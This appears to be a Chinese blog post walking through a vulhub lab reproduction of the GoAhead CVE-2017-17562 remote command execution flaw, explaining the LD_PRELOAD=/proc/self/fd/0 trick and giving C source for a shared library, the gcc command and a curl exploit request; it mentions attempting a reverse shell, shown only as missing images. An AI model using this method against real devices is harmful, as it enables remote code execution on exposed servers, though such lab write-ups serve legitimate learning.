vulhub漏洞复现-GoAhead(CVE-2017-17562)远程命令执行漏洞

GoAhead

GoAhead 是一个开源 (商业许可)、简单、轻巧、功能强大、可以在多个平台运行的 Web Server,多用于嵌入式系统、智能设备。其支持运行 ASP、Javascript 和标准的 CGI 程序,这个漏洞就出现在运行 CGI 程序的时候。

在这里插入图片描述

思路

GoAhead 在接收到请求后,会把URL 参数的键和值放到进 CGI 程序的环境变量中,并且只过滤了 REMOTE_HOSTHTTP_AUTHORIZATION。所以我们能够控制环境变量,像在 Linux 中,LD_开头的环境变量和动态链接库有关,如

  LD_PRELOAD 中指定的动态链接库,将会被自动加载;
  LD_LIBRARY_PATH 指定的路径,程序会去其中寻找动态链接库。

我们可以指定 LD_PRELOAD=/proc/self/fd/0,因为 /proc/self/fd/0 是标准输入,而在 CGI 程序中,POST 数据流即为标准输入流。我们编译一个动态链接库,将其放在 POST Body 中,发送给 http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0,CGI 就会加载我们发送的动态链接库,造成远程命令执行漏洞。

漏洞复现

利用docker部署环境后
在这里插入图片描述
我们首先需要编译一个动态链接库,而且需要和目标架构相同。所以在实战中,如果对方是一个智能设备,你可能需要交叉编译。因为Vulhub运行在Linux x86_64的机器中,所以我们直接用Linux PC编译即可。

动态链接库源码
#include <unistd.h>

static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
    
    
    write(1,"Hello: World!\n",14);
}

将上面的代码保存为.c文件
在这里插入图片描述

before_main函数将在程序执行前被调用。在.c文件的对应文件夹下,执行编译命令,编译.c文件为.so文件

gcc -shared -fPIC test.c -o test.so

在这里插入图片描述

将payload.so作为post body发送:

curl -X POST --data-binary @test.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i 

在这里插入图片描述

尝试反弹shell

在这里插入图片描述

Guess you like

Origin blog.csdn.net/weixin_54648419/article/details/120959336